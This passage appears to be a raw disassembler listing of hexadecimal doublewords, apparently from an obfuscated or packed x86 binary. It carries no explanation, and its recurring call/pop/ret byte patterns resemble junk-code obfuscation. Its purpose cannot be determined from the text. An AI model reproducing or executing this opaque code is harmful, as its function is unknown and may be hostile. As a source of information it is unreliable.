4245489h, 4244481h, 1Ch, 56C35242h, 0D7A8E2B7h, 0B57BE0A9h dd 296D9D2Bh, 9D8B0935h, 9351161h, 6A04E180h, 3E85000h dd 20000000h, 8958C358h, 81042444h, 14042444h, 40000000h dd 2914C350h, 352B0DB5h, 0FC90A09h, 13784h, 958B6000h dd 9352C61h, 6E9h, 0EACDBB00h, 6199FE63h, 2B61858Bh, 6A0935h dd 3E852h, 5A200000h, 54895AC3h, 44810424h, 190424h, 52420000h dd 5EE79DC3h, 336E09FBh, 350D7D85h, 51006A09h, 3E8h, 0C3592000h dd 244C8959h, 24448104h, 1604h, 0C3514100h, 90A8556Fh dd 1A840Fh, 12E80000h, 8C000000h, 5D09780Fh, 87C59BF5h dd 1C93CB9Dh, 0CDE2FA20h, 5B5B522Bh, 90DA8B50h, 858960F9h dd 935220Dh, 2F2D858Bh, 6A610935h, 31BD8B00h, 68093500h dd 3FDAAC93h, 11E95250h, 86000000h, 5DCF7112h, 5929112Bh dd 5E3A6A93h, 550960D0h, 585A310Fh, 6C243481h, 6A3FC5AFh dd 3E85000h, 20000000h, 8958C358h, 81042444h, 15042444h dd 40000000h, 9126C350h, 0FFD9BF0Fh, 350CDD95h, 0FABF0F09h dd 8589D88Ah, 938B76Fh, 7E9h, 0BD9CA500h, 4E2349CFh, 7B71FFBFh dd 23FE939h, 6A0000h, 3E857h, 5F200000h, 7C895FC3h, 44810424h dd 1D0424h, 57470000h, 0D16AB8C3h, 4531A2Dh, 0F413C6Eh dd 0BD8BFEBFh, 93503F1h, 0B767858Bh, 6A0938h, 3E857h, 5F200000h dd 7C895FC3h, 44810424h, 1D0424h, 57470000h, 231C84C3h dd 59446B73h, 81E29120h, 0A38705DBh, 1800C776h, 8B000000h dd 38B76BB5h, 57006A09h, 3E8h, 0C35F2000h, 247C895Fh, 24448104h dd 1504h, 0C3574700h, 0BD8B440Eh, 9351179h, 24D5858Bh dd 6A0935h, 3E857h, 5F200000h, 7C895FC3h, 44810424h, 1C0424h dd 57470000h, 84618FC3h, 0E8DE6406h, 5E89ABBh, 6C000000h dd 2E09BB0Dh, 6A06895Fh, 3E85200h, 20000000h, 895AC35Ah dd 81042454h, 19042444h, 42000000h, 791AC352h, 9965E033h dd 2B61858Bh, 89F50935h, 850F0446h, 5, 14EA4BFh, 8A0F9620h dd 13h, 0D8C0Fh, 7E80000h, 0F9000000h, 0BEF92C04h, 505FCE78h dd 6A96DE8Ah, 3E85200h, 20000000h, 895AC35Ah, 81042454h dd 1D042444h, 42000000h, 7C6C352h, 3818A5D6h, 3DE78201h dd 6810Fh, 0BD8B0000h, 93526DDh, 0E733BB66h, 0B767B5FFh dd 81660938h, 0E83B18E3h, 4, 1F03FFh, 19850Fh, 52500000h dd 0CE9h, 0A803CF00h, 437EAB8Eh, 0BABF42E6h, 0B3310F8Fh dd 50585A1Bh, 448BC1B7h, 9E90424h, 5A000000h, 7931ACBBh dd 33C9DC18h, 0DF8B008Bh, 4244489h, 0DE256BBBh, 9501587Dh dd 935007Dh, 0B76F858Dh, 6A0938h, 3E850h, 58200000h, 448958C3h dd 44810424h, 170424h, 50400000h, 0D666ADC3h, 666050F6h dd 0C28BF88Bh, 24048961h, 0E851006Ah, 3, 59C35920h, 4244C89h dd 4244481h, 1Ah, 2AC35141h, 9C2BB22Eh, 850FEB8Bh, 1Bh dd 0FE8h, 0A0821000h, 5D9F3672h, 154AB9BBh, 0AF4668FCh dd 0D21BD8Bh, 0FF5B0935h, 350CDD95h, 10E809h, 888B0000h dd 0BE41B53Bh, 0CDC6D70h, 66EC6922h, 9D8B8A77h, 9351E8Dh dd 8B66615Fh, 47BF66DFh, 5585C72Bh, 3093522h, 6A000000h dd 3E85500h, 20000000h, 895DC35Dh, 8104246Ch, 1B042444h dd 45000000h, 0F013C355h, 8DDFF79Ah, 0E38170ADh, 4395486Fh dd 0B76FBD83h, 0F000938h, 2A84h, 68B0F00h, 8B000000h, 352A699Dh dd 34E909h, 8E0F0000h, 13h, 0EE9h, 0F01AB800h, 7479257Bh dd 5CD6C10h, 505FDB0Fh, 110C30h, 0C1011144h, 443010E8h dd 4C000211h, 83580311h, 0E77504E9h, 305036EBh, 64001104h dd 0E8C10111h, 11443010h, 11640002h, 0E9835803h, 0EBE77504h dd 0E8C1501Bh, 11642810h, 11443003h, 64285802h, 4300111h dd 4E98311h, 0EBE775h, 6AC08Bh, 3E857h, 5F200000h, 7C895FC3h dd 44810424h, 180424h, 57470000h, 2B4843C3h, 9D8B2412h dd 9351131h, 5E9h, 0C1493D00h, 6A319Bh, 3E855h, 5D200000h dd 6C895DC3h, 44810424h, 1D0424h, 55450000h, 0E7CC4CC3h dd 0B4C17817h, 81DF3750h, 9F9BA7CFh, 0E99D8B72h, 8B09352Dh dd 55BD83D8h, 3093522h, 4B0850Fh, 0DE8A0000h, 0B76FBD83h dd 0F000938h, 4A184h, 51006A00h, 3E8h, 0C3592000h, 244C8959h dd 24448104h, 1C04h, 0C3514100h, 460F580h, 5EFFDEA5h, 619D2303h dd 0FF09351Bh, 38B76FB5h, 50006A09h, 3E8h, 0C3582000h dd 24448958h, 24448104h, 1C04h, 0C3504000h, 4C12631Eh dd 6DDEA323h, 1195FF2Ah, 6A09352Eh, 3E85200h, 20000000h dd 895AC35Ah, 81042454h, 15042444h, 42000000h, 0D900C352h dd 1F15B529h, 8E90935h, 0A1000000h, 0A09DDAA9h, 8B030007h dd 38B763B5h, 53006A09h, 3E8h, 0C35B2000h, 245C895Bh, 24448104h dd 1A04h, 0C3534300h, 951388F3h, 66E5AA5Ch, 6E55D381h dd 106C7h, 6A0001h, 3E857h, 5F200000h, 7C895FC3h, 44810424h dd 1B0424h, 57470000h, 0FB8B0CC3h, 0C246E524h, 0E85096ADh dd 0Fh, 753DA402h, 355184AAh, 0E417834Dh, 5BAE18CBh, 860F505Fh dd 11h, 0BF5250h, 0F5A18D8h, 0F525031h, 5A585A31h, 95299658h dd 9352F25h, 0B4CB8166h, 6FB5FF1Bh, 290938B7h, 35228D8Dh dd 8995FF09h, 6A093502h, 3E85200h, 20000000h, 895AC35Ah dd 81042454h, 14042444h, 42000000h, 8BC3C352h, 38B763B5h dd 55006A09h, 3E8h, 0C35D2000h, 246C895Dh, 24448104h, 1704h dd 0C3554500h, 0F317A822h, 25CD9D0Bh, 858B0935h dd 9350E99h, 0E8C0Fh, 9E90000h, 61000000h, 89073F63h, 0D79E92CCh dd 8B0Fh, 86890000h, 0C4h, 0E852006Ah, 3, 5AC35A20h, 4245489h dd 4244481h, 1Bh, 3CC35242h, 4895177Ah, 0F30FCFDh, 380h dd 0F8B70F00h, 24CDBD09h, 958B0935h, 9351629h, 0E857006Ah dd 3, 5FC35F20h, 4247C89h, 4244481h, 15h, 0F0C35747h, 4C28372h dd 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h, 1Ah, 3AC35141h dd 0FC5D66A2h, 0B5893790h, 93527A5h, 0F205089h, 681h, 69953100h dd 8D09352Bh, 38CC0785h, 53006A09h, 3E8h, 0C35B2000h, 245C895Bh dd 24448104h, 1C04h, 0C3534300h, 0ADFA6DAEh, 99BD6EE7h dd 0B88689A0h, 80000000h, 6A43C3h, 66DA8B66h, 0B5FFDE8Bh dd 938B76Fh, 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h dd 1Ch, 55C35646h, 0BE280F7h, 0B3E57BB0h, 17019589h, 0EE80935h dd 0AB000000h, 4089F373h, 3EBF265Dh, 0AB6C4697h, 45BD0194h dd 5B093502h, 115195FFh, 0BD890935h, 93525C5h, 13E850h dd 29B80000h, 41457F82h, 0CA2C5F2Eh, 2A7F61D8h, 13229E77h dd 0FA8B66F7h, 2434895Bh, 0E852006Ah, 3, 5AC35A20h, 4245489h dd 4244481h, 15h, 0BDC35242h, 0CB8060E8h, 11890F3Dh, 0E8000000h dd 0Bh, 1406B45Fh, 0A922CC39h, 5E3BD485h, 999D2B61h, 81093529h dd 38CC57C3h, 6FB5FF1Eh, 6A0938B7h, 3E85100h, 20000000h dd 8959C359h, 8104244Ch, 16042444h, 41000000h, 3BEC351h dd 0F50B349h, 88Eh, 66F56000h, 17CAC381h, 5595FF61h, 6A09350Bh dd 3E85200h, 20000000h, 895AC35Ah, 81042454h, 14042444h dd 42000000h, 66CFC352h, 0BD83FE8Bh, 9350079h, 35840F00h dd 6A000000h, 3E85100h, 20000000h, 8959C359h, 8104244Ch dd 14042444h, 41000000h, 96B2C351h, 0FCB4BF66h, 0F536050h dd 8Eh, 0C88A5B00h, 0BD8B9661h, 9352615h, 0B76FB5FFh, 6A0938h dd 3E856h, 5E200000h, 74895EC3h, 44810424h, 150424h, 56460000h dd 0FF00C9C3h, 351C3595h, 0F98D8909h, 0FF09352Fh, 38B76FB5h dd 55006A09h, 3E8h, 0C35D2000h, 246C895Dh, 24448104h, 1604h dd 0C3554500h, 0FF1D4DD7h, 352CE595h, 0BD83FC09h, 93526BDh dd 46840F02h, 89000000h, 350ADD8Dh, 0AD858B09h, 6A093526h dd 3E85600h, 20000000h, 895EC35Eh, 81042474h, 1A042444h dd 46000000h, 0FCB6C356h, 0F0FDF483h, 0B58B6044h, 9350671h dd 22CF8166h, 0D88B615Ah, 8B0000C6h, 3505D59Dh, 6585C709h dd 93532h, 6A000000h, 3E85200h, 20000000h, 895AC35Ah, 81042454h dd 1B042444h, 42000000h, 3A3BC352h, 553C4225h, 0B58972C7h dd 9351EDDh, 23998D89h, 55E90935h, 0F8FFFFF2h, 8D89C18Bh dd 935223Dh, 2659858Dh, 0B70F0935h, 0BB6650F9h, 489ACE0h dd 0E8516024h, 12h, 0FCBC9E4h, 2290E1C1h, 0B2DFB645h, 1F702072h dd 585A4386h, 25C28166h, 6A613Eh, 3339BD33h, 6A0935h, 16F1BD8Bh dd 858D0935h, 939C428h, 0D62F15BFh, 5C08349h, 0E853006Ah dd 3, 5BC35B20h, 4245C89h, 4244481h, 1Dh, 0F1C35343h, 84D245C6h dd 0E918DC39h, 0F98B6694h, 0F525050h, 288h, 0F616000h dd 0C18B6031h, 5A61B8B6h, 24048958h, 0E852006Ah, 3, 5AC35A20h dd 4245489h, 4244481h, 18h, 0F2C35242h, 0A6E544A7h, 2F41BD33h dd 6A0935h, 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h dd 19h, 44C35242h, 2857BF55h, 99852920h, 6A093525h, 55006A00h dd 3E8h, 0C35D2000h, 246C895Dh, 24448104h, 1B04h, 0C3554500h dd 0D421E6F0h, 5AD506A7h, 0EE9h, 0EF9E5A00h, 293C96B4h dd 0F0E4EE1Eh, 8B3A5C45h, 351C099Dh, 3195FF09h, 66093503h dd 2908E781h, 9AAB8D8Dh, 6A0938h, 3E856h, 5E200000h, 74895EC3h dd 44810424h, 190424h, 56460000h, 1C5093C3h, 0FF77204Fh dd 53006AD1h, 3E8h, 0C35B2000h, 245C895Bh, 24448104h, 1404h dd 0C3534300h, 0BE874h, 0D39E0000h, 917F6E99h, 0C000CEC7h dd 1985893Ch, 5B093510h, 419D2B60h, 61093533h, 1C19BD83h dd 0F010935h, 0A185h, 53006A00h, 3E8h, 0C35B2000h, 245C895Bh dd 24448104h, 1D04h, 0C3534300h, 731F436Dh, 3349BFA7h dd 8166D3B0h, 0FD59DCFh, 8D01D9BFh, 935330Dh, 6A026Ah dd 3E855h, 5D200000h, 6C895DC3h, 44810424h, 160424h, 55450000h dd 6ECE6DC3h, 0B11C20BBh, 48D0F14h, 66000000h, 507741BFh dd 489FC8Ah, 50006A24h, 3E8h, 0C3582000h, 24448958h, 24448104h dd 1804h, 0C3504000h, 0F435DF7h, 45B58929h, 0FF09352Ch dd 35115195h, 8E909h, 0F7400000h, 0CD8E1285h, 0CAE9E67Fh dd 0E800000Dh, 0 aBa29J db ']│М2д9',9,'j',0 db 52h, 0E8h, 3 dd 20000000h, 895AC35Ah, 81042454h, 18042444h, 42000000h dd 0C08CC352h, 668571C8h, 0FD1DEB81h, 0E851006Ah, 3, 59C35920h dd 4244C89h, 4244481h, 16h, 0AC35141h, 8D01D718h, 9352FBDh dd 6ADF8166h, 2B858D03h, 6A093893h, 3E85000h, 20000000h dd 8958C358h, 81042444h, 1D042444h, 40000000h, 20CCC350h dd 1C870E0Ah, 0DD1830D4h, 0DBB70F60h, 32FD9589h, 90610935h dd 665067B3h, 90AC20BFh, 0E853006Ah, 3, 5BC35B20h, 4245C89h dd 4244481h, 1Ah, 36C35343h, 3B6787AFh, 0BD8B1DCAh, 9353041h dd 6059D8Bh, 0FF640935h, 35h, 81DDBF00h, 8964130Eh, 25h dd 53006A00h, 3E8h, 0C35B2000h, 245C895Bh, 24448104h, 1604h dd 0C3534300h, 8150BD6Fh, 0C9B5CFDFh, 985FF05h, 6A093530h dd 3E85600h, 20000000h, 895EC35Eh, 81042474h, 19042444h dd 46000000h, 7885C356h, 814748FFh, 1DB7BF66h, 9D01FF6Ah dd 9350A21h, 11F5B5FFh, 0BF660935h, 95FFF6C6h, 9352EB9h dd 112E9h, 0EF816600h, 0B04371h, 10E956h, 0F2D70000h, 0EAB1EC02h dd 0D88C085Fh, 24554303h, 0E65F984Fh, 0D1BD8B70h, 0B7093500h dd 0BB71E45Dh, 1C47E494h, 830F613Ch, 0DBh, 1F05BD89h, 0B60F0935h dd 0FD8D01C8h, 0BA093503h, 6, 0EE9h, 5CC9EF00h, 94A8F99Eh dd 3B98FC25h, 8BA66BA5h, 0FE8B66C1h, 254DBD29h, 0E8C10935h dd 0DABF0F04h, 8BE2F766h, 352DB19Dh, 8BC82B09h, 352FC59Dh dd 31D18B09h, 350AD18Dh, 0E9B6B309h, 83h, 5C1BD03h, 858B0935h dd 8, 0C5DBD29h, 830F0935h, 2, 0C0835B51h, 0A5950907h dd 83093510h, 0CE900C0h, 0E1000000h, 4FB7B97Eh, 4B546F15h dd 3B8BFA5Bh, 8830FD0h, 0E9000000h, 3Fh, 8BF88B66h, 0FFFFFF8Dh dd 1E183FFh, 2D840Fh, 0BB660000h, 0A58339F3h, 0FFFFFFFFh dd 10E9FEh, 0B5F40000h, 0DD01ADC4h, 2A9E2F4Eh, 0EE264AA0h dd 9589B0BCh, 8, 0E995B7h, 8D000000h, 393B85B5h, 57006A09h dd 3E8h, 0C35F2000h, 247C895Fh, 24448104h, 1504h, 0C3574700h dd 9D8B3A36h, 9350B75h, 38C8E8BBh, 80BB6671h, 6A006AE0h dd 3E85600h, 20000000h, 895EC35Eh, 81042474h, 16042444h dd 46000000h, 862FC356h, 0F6D381D3h, 0FF0C735Dh, 35082995h dd 50006A09h, 3E8h, 0C3582000h, 24448958h, 24448104h, 1704h dd 0C3504000h, 0BBF471E9h, 164D8D89h, 52B30935h, 114FB9h dd 51006A00h, 3E8h, 0C3592000h, 244C8959h, 24448104h, 1704h dd 0C3514100h, 0DDC13388h, 2CBDBD8Bh, 6E80935h, 0ED000000h dd 5D0C4D34h, 0CE91Ah, 87DB0000h, 18016EC3h, 0E1D41B14h dd 835B2A2Dh, 6AFCE1h, 3E852h, 5A200000h, 54895AC3h, 44810424h dd 160424h, 52420000h, 334BECC3h, 11C99529h, 8BFC0935h dd 352831BDh, 0B809h, 6A0000h, 3E850h, 58200000h, 448958C3h dd 44810424h, 1B0424h, 50400000h, 0E2B1F4C3h, 39541512h dd 4BE7818Ch, 0BA400049h, 0 dd 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h, 1Ch, 0BFC35747h dd 0B177B368h, 0CE62AA03h, 0D1C233ADh, 83D003E8h, 0F47504E9h dd 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h, 16h, 5AC35242h dd 0DE84AABh, 0B0000000h, 86F9A44Eh, 399396F5h, 9065B101h dd 0F9EB8166h, 8A0F5F53h, 1, 51006AFCh, 3E8h, 0C3592000h dd 244C8959h, 24448104h, 1D04h, 0C3514100h, 28E8A526h dd 0D3D5E9EBh, 0DB80901Eh, 880D7Dh, 6A0000h, 3E856h, 5E200000h dd 74895EC3h, 44810424h, 140424h, 56460000h, 952970C3h dd 9352E35h, 1629958Bh, 95290935h, 93524A5h, 287D8D8Bh dd 9D290935h, 9350581h, 8BC28B50h, 8BC10318h, 0D1C18B18h dd 8BC203E8h, 6A5818h, 3E851h, 59200000h, 4C8959C3h, 44810424h dd 160424h, 51410000h, 0F1E600C3h, 0E853006Ah, 3, 5BC35B20h dd 4245C89h, 4244481h, 1Bh, 30C35343h, 2F725B03h, 892776D2h dd 35266195h, 49BD8309h, 93512h, 3D840Fh, 0CB810000h, 11771110h dd 0B8D8BF0Fh, 0 dd 0E6D9D89h, 8D8D0935h, 9354C02h, 128D0Fh, 0E9500000h dd 0Bh, 55F710E5h, 0C6234100h, 5BC29E97h, 0FFD0CF80h, 0C59D89E1h dd 83093503h, 352255BDh, 840F0009h, 3F6h, 0D8D8D89h, 0BD830935h dd 9352255h, 0FE840F01h, 0E9000003h, 9, 2BC52750h, 138F9699h dd 55BD8332h, 3093522h, 3AD860Fh, 9D890000h, 93512C1h dd 0C880F60h, 0E9000000h, 7, 0B903EEB7h, 66C88842h, 6AD98Ch dd 3E857h, 5F200000h, 7C895FC3h, 44810424h, 1C0424h, 57470000h dd 222AB0C3h, 7F34C727h, 0BF664907h, 0E180475Dh, 0F8BF0F04h dd 840FC90Ah, 12Dh, 2E598D89h, 858B0935h, 9352B61h, 0E853006Ah dd 3, 5BC35B20h, 4245C89h, 4244481h, 15h, 60C35343h, 8D896070h dd 93517F9h, 0E5D8D8Bh, 89610935h, 3513ED95h, 7D853309h dd 0B09350Dh, 35162DBDh, 0AFE78009h, 52505250h, 310F5250h dd 310F585Ah, 585AF88Bh, 2404895Fh, 7D9765BBh, 6A006A5Bh dd 3E85500h, 20000000h, 895DC35Dh, 8104246Ch, 17042444h dd 45000000h, 0F42CC355h, 860F0A34h, 8, 28D0Fh, 0FA8B0000h dd 4E8h, 1F03FF00h, 0FE900h, 0C8200000h, 9A55B151h, 8987715Ah dd 0E6C6404Ch, 8B66502Fh, 24448BD9h, 6E804h, 0B4A30000h dd 0E95736BAh, 0BF008B5Bh, 22DF917Fh, 4244489h, 0CE9h dd 6FB9D00h, 9C8B2FE1h, 0BD018DEBh, 0B5295882h, 9351F75h dd 0CDD95FFh, 6A0935h, 3E851h, 59200000h, 4C8959C3h, 44810424h dd 150424h, 51410000h, 0FCF46AC3h, 58D9501h, 8D010935h dd 9352489h, 0B76F8589h, 8B500938h, 351D9DBDh, 0B4E95F09h dd 0B7000001h, 67858BE0h, 6A0938B7h, 3E85000h, 20000000h dd 8958C358h, 81042444h, 14042444h, 40000000h, 0C77BC350h dd 1800h, 0E59D8900h, 8B093505h, 38B76BB5h, 57006A09h dd 3E8h, 0C35F2000h, 247C895Fh, 24448104h, 1A04h, 0C3574700h dd 0A5CAF31Eh, 8B26E344h, 3511A1BDh, 0D5858B09h, 0F093524h dd 68Fh, 0F99D8B00h, 89093502h, 52006A06h, 3E8h, 0C35A2000h dd 2454895Ah, 24448104h, 1C04h, 0C3524200h, 6054967Ch dd 0E62DA5ADh, 8BFA8B84h, 352B6185h, 3870F09h, 0F000000h dd 4689F8B7h, 14E89604h, 0F5000000h, 0F651A705h, 0E742FEEAh dd 50E7FF7Dh, 0D97430A0h, 662A43A2h, 5BBAB6BBh, 2890F50h dd 8B000000h, 6A96FBh, 3E856h, 5E200000h, 74895EC3h, 44810424h dd 1D0424h, 56460000h, 0E6161CC3h, 95DDFEBFh, 0E806A1C6h dd 11h, 3C6822C5h, 25F8893Bh, 0CC00EA98h, 0BCAD817Bh, 5F1CB3F9h dd 1645BD8Bh, 0B5FF0935h, 938B767h, 0E856006Ah, 3, 5EC35E20h dd 4247489h, 4244481h, 1Ah, 78C35646h, 9C671254h, 556867E7h dd 81C1C187h, 7CAA2404h, 0B5893E5Dh, 9350D41h, 0B76F858Dh dd 81660938h, 50C02FDFh, 19860Fh, 0E9600000h, 10h, 0EBFFD1ACh dd 0BF21D3A6h, 0A660983h, 6B725F94h, 8961F08Bh, 85892404h dd 93522C9h, 0CDD95FFh, 6A0935h, 3E857h, 5F200000h, 7C895FC3h dd 44810424h, 1A0424h, 57470000h, 9F8908C3h, 5BAB71B6h dd 0E915BB52h, 615F2621h, 0E857006Ah, 3, 5FC35F20h, 4247C89h dd 4244481h, 1Ah, 43C35747h, 0D9D4532Ah, 9D8BB6C2h, 9353091h dd 225585C7h, 30935h, 0FE8A0000h, 0B76FBD83h, 0F000938h dd 3A84h, 50006A00h, 3E8h, 0C3582000h, 24448958h, 24448104h dd 1C04h, 0C3504000h, 6222C785h, 99B38AD6h, 7E98Eh, 0EA640000h dd 9B11AD14h, 20E961h, 81660000h, 5091D7DBh, 110C30h, 0C1011144h dd 443010E8h, 4C000211h, 83580311h, 0E77504E9h, 305036EBh dd 64001104h, 0E8C10111h, 11443010h, 11640002h, 0E9835803h dd 0EBE77504h, 0E8C1501Bh, 11642810h, 11443003h, 64285802h dd 4300111h, 4E98311h, 0EBE775h, 6AC08Bh, 3E850h, 58200000h dd 448958C3h, 44810424h, 140424h, 50400000h, 6A41C3h, 3E856h dd 5E200000h, 74895EC3h, 44810424h, 1C0424h, 56460000h dd 0F132DAC3h, 0DA8485D9h, 0EE84AEAh, 19000000h, 0A0B5B86Ah dd 4FB926EFh, 0FCDF20E7h, 5FD98B1Ah, 1BF1BD8Bh, 0BD830935h dd 9352255h, 0D5850F03h, 6A000003h, 3E85000h, 20000000h dd 8958C358h, 81042444h, 1C042444h, 40000000h, 0FF61C350h dd 458A38FBh, 2BC4736Eh, 3508259Dh, 6FBD8309h, 938B7h dd 39E840Fh, 0B5310000h, 93524D9h, 0B76FB5FFh, 6A0938h dd 3E852h, 5A200000h, 54895AC3h, 44810424h, 1A0424h, 52420000h dd 7ECBD2C3h, 564EB263h, 2E1195FFh, 6A0935h, 3E850h, 58200000h dd 448958C3h, 44810424h, 160424h, 50400000h, 73708C3h dd 4810Fh, 0BB660000h, 8B0FAD1Bh, 6, 0CD59D0Bh, 0B58B0935h dd 938B763h, 16799D8Bh, 6C70935h, 10001h, 0E855006Ah, 3 dd 5DC35D20h, 4246C89h, 4244481h, 14h, 0C7C35545h, 13995BBFh dd 9DBD8B07h, 5009350Ah, 0F0BF6657h, 34895F88h, 6E924h dd 897D0000h, 613E81FAh, 0B76FB5FFh, 0FFF80938h, 35028995h dd 0AE86009h, 0DF000000h, 5A8F679Bh, 597A86D4h, 21BD01CEh dd 5F09350Ah, 4D18D89h, 0E9610935h, 0Dh, 92A19A02h, 6EA97D41h dd 15CE424Fh, 63B58B98h, 6A0938B7h, 3E85500h, 20000000h dd 895DC35Dh, 8104246Ch, 1D042444h, 45000000h, 0EA46C355h dd 0C3DEA1AEh, 702A0EF7h, 22BEBB66h, 0E99858Bh, 6A0935h dd 3E857h, 5F200000h, 7C895FC3h, 44810424h, 150424h, 57470000h dd 8BD1ABC3h, 351EDDBDh, 61BD8B09h, 8909352Ch, 0C486h dd 67F78100h, 8B1960DCh, 35162995h, 5FBF6609h, 0DF71BBB5h dd 0C2830E71h, 3D9D2904h, 89093508h, 6A2050h, 3E851h, 59200000h dd 4C8959C3h, 44810424h, 140424h, 51410000h, 9589D6C3h dd 9353261h, 0CC07858Dh, 89F50938h, 0B886h, 6890F00h, 89000000h dd 352AB5BDh, 6ACFB709h, 55006A00h, 3E8h, 0C35D2000h, 246C895Dh dd 24448104h, 1804h, 0C3554500h, 52532820h, 0F98B66A4h dd 0B76FB5FFh, 0F500938h, 688h, 758D8900h, 5F093524h, 7E8h dd 68866200h, 11B8D620h, 568CDF81h, 0FF5B29ECh, 35115195h dd 5019B709h, 0E9243489h, 0Eh, 1C54A250h, 90560913h, 10E1CC1h dd 0B5FF12B8h, 938B76Fh, 0F82CBF66h, 0B5595FFh, 3560935h dd 3528E1BDh, 0BD835F09h, 9350079h, 56840F00h, 0F000000h dd 0E896FBB7h, 0Ah, 0EA052693h, 37079D6Bh, 505FF98Ch, 0FE95250h dd 6A000000h, 323F68DBh, 55524A64h, 0ADF0FC3Dh, 310F03B5h dd 8D7DBF66h, 6A96585Ah, 3E85000h, 20000000h, 8958C358h dd 81042444h, 16042444h, 40000000h, 0D504C350h, 0BABB6600h dd 6FB5FFECh, 6A0938B7h, 3E85500h, 20000000h, 895DC35Dh dd 8104246Ch, 19042444h, 45000000h, 0FD21C355h, 0A79B1F1Bh dd 32319589h, 95FF0935h, 9351C35h, 0F858589h, 0CE90935h dd 0C2000000h, 938E40C4h, 8AA06A51h, 0FF72C9DDh, 38B76FB5h dd 0FBB70F09h, 2CE595FFh, 8E80935h dd 0C1000000h, 58C0FCADh, 2BEE53A4h, 3528999Dh, 0BD835B09h dd 93526BDh, 7C840F02h, 6A000000h, 3E85000h, 20000000h dd 8958C358h, 81042444h, 1B042444h, 40000000h, 899BC350h dd 15BE0C18h, 858B9588h, 93526ADh, 0E857006Ah, 3, 5FC35F20h dd 4247C89h, 4244481h, 1Dh, 63C35747h, 75DC04A9h, 26433ED3h dd 0DF8B66B5h, 600000C6h, 5E8h, 0E317D800h, 958B408Bh dd 9352795h, 0AE858h, 98850000h, 0E5C70E4Ah, 57FA8F07h dd 5E00EB80h, 0C779B761h, 35326585h, 9, 80DF8000h, 0FFF3AFE9h dd 52006AFFh, 3E8h, 0C35A2000h, 2454895Ah, 24448104h, 1C04h dd 0C3524200h, 0E1F626A2h, 6BCB353Fh, 6AC18B5Ch, 3E85000h dd 20000000h, 8958C358h, 81042444h, 16042444h, 40000000h dd 6A0AC350h, 68C0FCBh, 29000000h, 3533358Dh, 59858D09h dd 89093526h, 350C018Dh, 8B0F9009h, 1Ch, 12E8h, 0C9267F00h dd 6535F915h, 0D11384DCh, 0E8886214h, 6631D0B5h, 5B6B85BFh dd 905B5150h, 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h dd 1Ah, 0D3C35242h, 0F906C31Fh, 6A0500h, 0E855006Ah, 3 dd 5DC35D20h, 4246C89h, 4244481h, 14h, 0DCC35545h, 7E9h dd 0EF020700h, 0BB55E828h, 4FBB006Ah, 6600D3F5h, 0EE64DB81h dd 0D499858Dh, 6A0939h, 3E851h, 59200000h, 4C8959C3h, 44810424h dd 170424h, 51410000h, 7BC33C3h, 31800F3Ch, 0E8000000h dd 12h, 0A4E0ECC3h, 0F389441Bh, 0BB525BFh, 4ECB823Dh, 14E9F50Dh dd 24000000h, 3D9DD999h, 258D47F4h, 0C19DD59Bh, 94BC32E7h dd 5F104C39h, 6A05C083h, 3E85500h, 20000000h, 895DC35Dh dd 8104246Ch, 1D042444h, 45000000h, 0D387C355h, 6C948130h dd 0BB236411h, 0FDEB8166h, 52509056h, 5EF0BB66h, 890F310Fh dd 2, 585AE4B7h, 0D98B6650h, 0E9006A90h, 5, 88B654ACh dd 6A006AFCh, 3E85200h, 20000000h, 895AC35Ah, 81042454h dd 18042444h, 42000000h, 0C682C352h, 66B29190h, 0BF0FDF8Bh dd 3195FFF9h, 6A093503h, 3E85700h, 20000000h, 895FC35Fh dd 8104247Ch, 1C042444h, 47000000h, 6C2FC357h, 52B2FFE2h dd 8B208FADh, 351C31BDh, 0F1958909h, 8909350Ch, 350CC19Dh dd 0AB8D8D09h, 0F09389Ah, 1185h, 0CE900h, 3A360000h, 70E89D12h dd 0EDA701D7h, 0D1FF2CAAh, 0AE860h, 0BBA10000h, 3C8876EDh dd 4BFE855Bh, 8E9h, 8803EF00h, 4355E083h, 81665AC7h, 617454EFh dd 1C19BD83h, 0F010935h, 0B685h, 8DBD0300h, 6A093507h dd 52006A02h, 3E8h, 0C35A2000h, 2454895Ah, 24448104h, 1904h dd 0C3524200h, 0B819074Fh, 60509B7Ah, 0BE8h, 0B5E1CC00h dd 8EF8CCAFh, 13872B7Bh, 7A2C40BBh, 52505A55h, 0FFE8B66h dd 5A616031h, 4896158h, 52006A24h, 3E8h, 0C35A2000h, 2454895Ah dd 24448104h, 1B04h, 0C3524200h, 0CFC3368Eh, 650019FFh dd 0F8D88B66h, 115195FFh, 6A0935h, 3E850h, 58200000h, 448958C3h dd 44810424h, 170424h, 50400000h, 0BA25A2C3h, 14E95Dh dd 46CD0000h, 6E75197Ah, 712E7BA3h, 0C4DFF833h, 5979A00Fh dd 0E9F818C3h, 0D22h, 0E8h, 0ED815D00h, 939D4A3h, 0E856006Ah dd 3, 5EC35E20h, 4247489h, 4244481h, 1Dh, 7BC35646h, 3EB8ABEh dd 0BF6B5CA4h, 6E8EDh, 93640000h, 9A4050C7h, 5F71F780h dd 6AFE8B66h, 3E85600h, 20000000h, 895EC35Eh, 81042474h dd 16042444h, 46000000h, 52B7C356h, 81BD8B20h, 8D09351Bh dd 38932B85h, 0BD9D8B09h, 9009351Dh, 12E9h, 8A1B8200h dd 97FE3946h, 4E124506h, 0D6779F6h, 509E3E14h, 53006A90h dd 3E8h, 0C35B2000h, 245C895Bh, 24448104h, 1604h, 0C3534300h dd 0E9035CBCh, 11h, 493202B0h, 0D81DAD68h, 3BACE58Ah, 2B9FD419h dd 35FF64CBh, 0 dd 0A7F38166h, 25896430h, 0 dd 9D8D0957h, 5B09350Eh, 300985FFh, 9D330935h, 9350B41h dd 86D9D23h, 0FF6A0935h, 0E8C0Fh, 9E90000h, 0BE000000h dd 0AC19E3ADh, 4CD4980Fh, 0D15B5FFh, 6A0935h, 3E850h, 58200000h dd 448958C3h, 44810424h, 170424h, 50400000h, 0FEAEF1C3h dd 4185893Eh, 0FF093533h, 352EB995h, 0E1E909h, 0F5600000h dd 5CDB58Bh, 0B0610935h, 598D3100h, 0E6093523h, 21BD8B70h dd 0E409350Dh, 45BD8971h, 3C093523h, 0B8830F61h, 66000000h dd 33EEE781h, 89C8B60Fh, 3505218Dh, 89BD3309h, 